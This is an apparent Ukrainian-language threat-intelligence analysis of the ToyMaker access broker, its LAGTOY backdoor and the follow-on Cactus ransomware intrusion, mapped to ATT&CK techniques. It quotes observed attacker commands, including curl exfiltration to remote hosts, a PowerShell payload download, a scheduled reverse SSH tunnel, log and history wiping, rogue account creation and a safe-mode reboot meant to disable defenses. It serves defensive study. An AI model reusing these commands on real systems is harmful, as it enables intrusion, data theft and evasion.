Сучасні кібератаки дедалі рідше починаються з шифрування або публічного шантажу. Значно частіше перший етап відбувається непомітно – з отримання початкового доступу до корпоративних систем. Саме на цьому рівні з’являються спеціалізовані гравці, які не атакують бізнес напряму, а працюють у тіні, створюючи основу для подальших інцидентів. У статті розглядається один із таких прикладів, що дозволяє краще зрозуміти, як формується ланцюг сучасної кібератаки: від компрометації зовнішніх сервісів до закріплення в інфраструктурі.
У 2023 році було виявлено масштабну компрометацію підприємства критичної інфраструктури, у якій брала участь комбінація кількох загрозливих акторів. Від початкового доступу до подвійного вимагання ці учасники поступово та методично компрометували велику кількість хостів у мережі, використовуючи поєднання різних dual-use інструментів віддаленого адміністрування, SSH і засобів передавання файлів.
Брокер початкового доступу (Initial Access Broker, IAB), якого умовно назвали ToyMaker і якого з середньою впевненістю оцінюють як фінансово мотивованого зловмисника, експлуатує вразливі системи, відкриті до інтернету. Після проникнення він розгортає власний бекдор під назвою LAGTOY та викрадає облікові дані з інфраструктури жертви. LAGTOY використовується для створення зворотних shell-з’єднань і виконання команд на заражених кінцевих точках.
Компрометація за допомогою LAGTOY може призводити до передачі доступу вторинному загрозливому актору. Зокрема, було зафіксовано, що ToyMaker передав доступ угрупованню Cactus, групі подвійного вимагання, яка застосувала власні тактики, техніки та процедури (TTPs) для подальших зловмисних дій у мережі жертви.
Аналіз вторгнення на різних кінцевих точках дозволив побудувати хронологію подій від початкової компрометації до передачі доступу й подальшої активності вторинного актора. Нижче наведено узагальнену часову шкалу.
Тип активності:
перелік користувачів;
первинна розвідка;
створення фейкового користувача;
витяг облікових даних за допомогою Magnet RAM Capture.Актор: ToyMaker
Тип активності:
розгортання імпланта LAGTOY. Актор: ToyMaker
Тип активності:
інвентаризація кінцевих точок. Актор: Cactus
Тип активності:
інвентаризація серверів і файлів;
видалення індикаторів компрометації.Актор: Cactus
Тип активності:
поширення по корпоративній мережі. Актор: Cactus
Тип активності:
архівація чутливих даних для ексфільтрації та вимагання. Актор: Cactus
Тип активності:
розгортання інструментів віддаленого управління (eHorus, RMS, AnyDesk);
OpenSSH-з’єднання. Актор: Cactus
Тип активності:
створення зловмисних облікових записів для розгортання ransomware;
видалення тіньових копій томів;
модифікація параметрів відновлення системи. Актор: Cactus
Після початкового проникнення ToyMaker протягом приблизно одного тижня виконував первинну розвідку, витяг облікових даних і розгортання бекдору, після чого активність припинилася. Не було зафіксовано цілеспрямованої ексфільтрації даних або спроб глибшого переміщення до більш цінних вузлів.
Після періоду затишшя тривалістю близько трьох тижнів у мережі з’явилося угруповання Cactus, яке використало облікові дані, викрадені ToyMaker. Враховуючи короткий час перебування, відсутність крадіжки даних і подальшу передачу доступу, малоймовірно, що ToyMaker переслідував шпигунські цілі.
Таким чином, ToyMaker з середньою впевненістю оцінюється як фінансово мотивований брокер початкового доступу, який отримує доступ до організацій із високою цінністю та передає його вторинним акторам, що монетизують доступ через ransomware та подвійне вимагання.
Призначення: виявлення інформації про систему
Призначення: збір мережевої інформації
Призначення: створення облікового запису
Зловмисник запускає SSH-слухач за допомогою Windows OpenSSH (sshd.exe). Після цього інша заражена система створює файл sftp-server.exe, який завантажує виконуваний файл Magnet RAM Capture.
Призначення: витяг облікових даних із пам’яті
Отриманий дамп пам’яті архівується:
Після цього архів ексфільтрується за допомогою SCP:
Після отримання дампів пам’яті через sftp-з’єднання завантажується та запускається власний імплант зворотного shell під назвою LAGTOY.
Для закріплення в системі створюється сервіс:
Імплант підключається до зашитого C2-сервера та виконує отримані команди, зокрема:
LAGTOY є простим, але ефективним бекдором. Він періодично звертається до C2-сервера, виконує команди на зараженій системі, працює як сервіс і містить базові механізми антидебагінгу перед встановленням з’єднання.

Як техніку протидії налагодженню шкідливе ПЗ реєструє власний обробник необроблених винятків, використовуючи функцію kernel32!SetUnhandledExceptionFilter(). Якщо зразок запущено під налагоджувачем, цей користувацький обробник не буде викликаний, а виняток буде передано безпосередньо налагоджувачу. Відповідно, якщо обробник необроблених винятків успішно зареєстрований і керування передається саме йому, це означає, що процес не виконується під налагоджувачем.
LAGTOY призначений для роботи на зараженій системі у вигляді служби з назвою «WmiPrvSV».
IP-адреса сервера керування (C2) та номер порту жорстко зашиті безпосередньо в LAGTOY. Обмін даними здійснюється через порт 443 із використанням raw socket, без застосування TLS, як це зазвичай очікується для цього TCP-порту.

C2-сервер надсилає LAGTOY спеціальні адміністративні коди:
#pt– зупинити службу.
#pd– перервати поточний ланцюг виконання та перевірити, чи зупинена служба. Якщо службу зупинено, перейти в режим Sleep на визначений проміжок часу та повторно ініціювати з’єднання з C2.
#ps– просто створити відповідний процес або виконати задану команду.
Якщо код не починається з символу #, LAGTOY просто виконує передану команду або назву процесу на кінцевій точці.

Порівняно зі зразком, виявленим у 2022 році компанією Mandiant, у цьому зразку було додано обробник #ps, призначений для створення процесу з переданої команди.

#ps.LAGTOY використовує власну часову логіку для визначення, чи потрібно виконувати команди, чи перейти в режим Sleep на певний проміжок часу. Вважається з високою впевненістю, що ця логіка є унікальною кастомною реалізацією, характерною саме для сімейства імплантів LAGTOY.
LAGTOY здатний обробляти три команди від C2 з інтервалом Sleep у 11000 мілісекунд між ними. Під час циклу beaconing він фіксує час останнього успішного з’єднання з C2 та успішного виконання команд. Якщо команди, надіслані C2, не виконуються щонайменше протягом 30 хвилин, імплант надсилає повідомлення на C2 з інформацією про помилку виконання команд.
У LAGTOY вбудований watchdog-механізм. Якщо імплант працює сукупно понад 60 хвилин, він припиняє виконання команд і перевіряє, чи була зупинена служба. Якщо служба все ще активна, імплант повторно ініціює з’єднання з C2.

Майже через місяць після того, як ToyMaker встановив доступ до інфраструктури підприємства-жертви, зловмисник передав цей доступ вторинному загрозливому актору, афілійованому з ransomware-угрупованням Cactus, яке переважно займається атаками з використанням ransomware та подвійного вимагання.
Група Cactus провела власну розвідку та забезпечення стійкості, розгорнувши власний набір шкідливого програмного забезпечення замість використання LAGTOY як інструмента подальшого проникнення в корпоративну мережу. Початковий доступ до скомпрометованої кінцевої точки було отримано за допомогою облікових даних користувачів, викрадених раніше ToyMaker із використанням інструмента Magnet RAM Capture.
Cactus негайно розпочали мережеві сканування з метою виявлення цікавих систем і подальшого поширення в мережі. Для цього спочатку було запущено WSMAN-скрипт виявлення, який дозволяв перелічити всі кінцеві точки, налаштовані для обробки PowerShell remoting.
Команда:
Призначення: Виявлення віддалених систем [T1018]
Подальші дії включали архівацію та передавання результатів:
C:\PerfLogs\Admin\7z.exe a -p<password> pss.7z .\result.csv C:\PerfLogs\Admin\curl.exe -k -T .\pss.7z hxxps://<remote_ip>:8443 C:\PerfLogs\Admin\7z.exe a -p<pwd> .\CP-SERVER3.7z .\CP-SERVER3.txt C:\PerfLogs\Admin\7z.exe a -p<pwd> .\FILEN01.7z .\FILEN01.txt C:\PerfLogs\Admin\curl.exe -k -T .\CP-SERVER3.7z hxxps://<remote_ip>:8443 C:\PerfLogs\Admin\curl.exe -k -T .\FILEN01.7z hxxps://<remote_ip>:8443 C:\PerfLogs\Admin\7z.exe a -p<pwd> .\FILE-SERVER.7z .\FILE-SERVER.txt C:\PerfLogs\Admin\curl.exe -k -T .\FILE-SERVER.7z hxxps://<remote_ip>:8443
Отримані результати стискалися та передавалися на віддалений сервер. Аналогічні дії виконувалися і для іншої зібраної інформації. Ексфільтрація даних [T1048]
Команди та призначення:
C:\Windows\system32\reg.exe delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f
Призначення: видалення індикаторів, очищення історії команд [T1070]
C:\Windows\system32\reg.exe delete HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default /va /f C:\Windows\system32\reg.exe delete HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers /f C:\Windows\system32\reg.exe add HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers C:\Windows\system32\attrib.exe %userprofile%\documents\Default.rdp -s -h
Призначення: видалення індикаторів, очищення історії мережевих підключень і конфігурацій [T1070]
net user support /delete
Призначення: видалення індикаторів, очищення механізмів закріплення [T1070]
Отримані облікові дані надали ToyMaker доступ до великої кількості систем, на яких зловмисник проводив розвідку з метою пошуку цінної інформації. Виявлені файли або архівувалися та ексфільтрувалися з використанням dual-use інструментів, таких як 7zip і curl, або ж передавалися безпосередньо за допомогою утиліт передавання файлів, зокрема WinSCP [T1560, T1048].
Приклади команд архівації та підготовки до ексфільтрації:
C:\PerfLogs\Admin\7z.exe a -t7z -mx0 -v4g -spf -scsUTF-8 -bsp1 -ssw -p -xr!.ipa -xr!.apk -xr!.zip -xr!.rar -xr!.iso -xr!.dll -xr!.dl_ -xr!.lib -xr!.exe -xr!.ex_ -xr!.lnk -xr!.pdb -xr!.cab -xr!.msp -xr!.bak -xr!.old -xr!.bmp -xr!.gif -xr!.jpg -xr!.png -xr!.avi -xr!.m4v -xr!.mp4 -xr!.mp3 -xr!.wmv -xr!.wav -xr!.mov -xr!.mkv -xr!.log -xr!.csv -xr!*.jar -xr!test\ -xr!tests\ -xr!jdk8\ e:\tmp\<filename>
C:\PerfLogs\Admin\7z.exe a -t7z -mx0 -v4g -spf -scsUTF-8 -bsp1 -ssw -p<password> -xr!*.ipa -xr!*.apk -xr!*.zip -xr!*.rar -xr!*.iso -xr!*.dll -xr!*.dl_ -xr!*.lib -xr!*.exe -xr!*.ex_ -xr!*.lnk -xr!*.pdb -xr!*.cab -xr!*.msp -xr!*.bak -xr!*.old -xr!*.bmp -xr!*.gif -xr!*.jpg -xr!*.png -xr!*.avi -xr!*.m4v -xr!*.mp4 -xr!*.mp3 -xr!*.wmv -xr!*.wav -xr!*.mov -xr!*.mkv -xr!*.log -xr!*.csv -xr!*.jar -xr!test\ -xr!tests\ -xr!jdk8\ e:\tmp\<filename>
На інших кінцевих точках зловмисники виявляли та архівували, ймовірно, клієнтські дані жертви для подальшої ексфільтрації [T1560, T1048]:
C:\Windows\system32\cmd.exe /c <path>\7z.exe a -t7z -mx0 -ssp -spf -v5g -y -r -mhe=on <path>\0001.7z <path>\Private Folder\Customers\<path> -p<password>
Cactus використовували різні інструменти віддаленого адміністрування на різних кінцевих точках для збереження довготривалого доступу. Серед використаних інструментів були:
eHorus Agent: програмне забезпечення для віддаленого керування, також відоме як Pandora RC
AnyDesk: застосунок віддаленого робочого столу
Remote Utilities for Windows Admin (RMS Remote Admin): платформа віддаленого адміністрування російського походження
OpenSSH: SSH-пакет, що входить до складу Windows і доступний для встановлення в ОС
Утиліти віддаленого адміністрування завантажувалися з віддалених ресурсів, контрольованих зловмисниками, за допомогою PowerShell та Impacket.
Команди та призначення:
cmd.exe /Q /c powershell iwr -Uri http://<remote_IP>:7423/file.msi -OutFile C:\Programdata\f.msi 1> \\127.0.0.1\ADMIN$\__<random> 2>&1
Призначення: підготовка можливостей, завантаження шкідливого ПЗ [T1608]
cmd.exe /Q /c msiexec.exe /i C:\Programdata\f.msi /q EHUSER=<username> STARTEHORUSSERVICE=1 DESKTOPSHORTCUT=0 1> \\127.0.0.1\ADMIN$\__<random> 2>&1
Призначення: виконання через системний бінарник, Msiexec [T1218]
В іншому випадку зловмисники створювали зворотні shell-з’єднання з використанням OpenSSH. Для цього було створено заплановане завдання, яке щогодини підключалося до C2-сервера для прийому та виконання команд.
Команди та призначення:
SCHTASKS /CREATE /RU SYSTEM /SC HOURLY /ST 14:00 /F /TN GoogleUpdateTaskMachine /TR cmd /c c:\Windows\temp\sys_log.bat > c:\Windows\temp\log.txt
Призначення: заплановане завдання або робота [T1053]
SCHTASKS /CREATE /RU SYSTEM /SC HOURLY /ST 14:00 /F /TN GoogleUpdateTaskMachine /TR cmd /c FOR /L %N IN () DO (C:\ProgramData\ssh\ssh.exe -o "StrictHostKeyChecking no" root@<remote_ip> -p 443 -R 25369 -NCqf -i "C:\Windows\temp\syslog.txt" & timeout /t 15)
Призначення: заплановане завдання або робота [T1053] Віддалені служби, SSH [T1021]
Група Cactus серйозно ставиться до операційної безпеки. Вони обмежують доступ до файлу, який містить приватний SSH-ключ, що використовується для ексфільтрації даних. Це унеможливлює прочитання ключа жертвою за звичайних умов.
Команди та призначення:
icacls C:\Windows\Temp\syslog.txt icacls.exe C:\Windows\temp\syslog.txt /c /t /inheritance:d icacls.exe C:\Windows\Temp\syslog.txt /c /t /remove BUILTIN\Administrators icacls.exe C:\Windows\Temp\syslog.txt /c /t /remove <userid> icacls.exe C:\Windows\temp\syslog.txt /inheritance:r /grant SYSTEM:F
Призначення: зміна дозволів на файли та каталоги у Windows [T1222]
Файл syslog.txt є приватним ключем, який загрозливий актор використовує для ініціювання SSH-з’єднань із контрольованою ним інфраструктурою.
На деяких кінцевих точках зловмисні оператори створювали нові несанкціоновані облікові записи користувачів, імовірно для полегшення розгортання ransomware:
net user whiteninja <password> /add
reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v LegalNoticeText /t REG_SZ /d /f
reg add HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon /v DefaultUserName /t REG_SZ /d whiteninja /f
reg add HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon /v AutoLogonCount /t REG_DWORD /d 1 /f
Під час розслідування було виявлено, що загрозливий актор виконував команди для перезавантаження скомпрометованих хостів у Safe Mode:
bcdedit /set {default} safeboot minimal
shutdown -r -f -t 0
Завантаження системи в Safe Mode може використовуватися з метою деактивації засобів захисту, оскільки в цьому режимі запускається мінімальний набір драйверів і сервісів. Деякі продукти безпеки в Safe Mode можуть бути неактивними або працювати з обмеженнями, що дозволяє зловмиснику змінювати ключі реєстру чи налаштування для повного вимкнення захисту [T1562.001].
Cactus також активно використовували копії Windows-бінарників Putty та ApacheBench з інжектованим shellcode Metasploit. ApacheBench є інструментом для бенчмаркінгу HTTP-серверів Apache і в цьому випадку застосовувався для виконання коду на скомпрометованих системах.
Ці бінарні файли встановлювали з’єднання з тим самим віддаленим сервером, який використовувався для розміщення портативного агента eHorus, а саме 51[.]81[.]42[.]234, через порти 53, 443, 8343 та 9232. Додатково Cactus застосовували ELF-бінарники, згенеровані Metasploit, які також взаємодіяли з тим самим C2-сервером 51[.]81[.]42[.]234.
Shellcode Metasploit, що здійснює обмін даними з віддаленим сервером.
Цей кейс наочно показує, що сучасна кібератака починається задовго до появи ransomware. Ключову роль відіграють брокери початкового доступу, які тихо проникають у мережу, закріплюються, збирають облікові дані та готують інфраструктуру для наступних етапів атаки. Далі доступ передається спеціалізованим угрупованням, які вже масштабують компрометацію, ексфільтрують дані та реалізують подвійне вимагання.
Розмежування ролей між ToyMaker та Cactus демонструє зрілу, ринкову модель кіберзлочинності, де атака є результатом ланцюжка взаємопов’язаних дій, а не одноразового зламу. Для захисту це означає одне: критично важливо виявляти загрозу саме на етапі початкового доступу, ще до того, як вона перетвориться на повноцінний інцидент із серйозними наслідками для бізнесу та інфраструктури.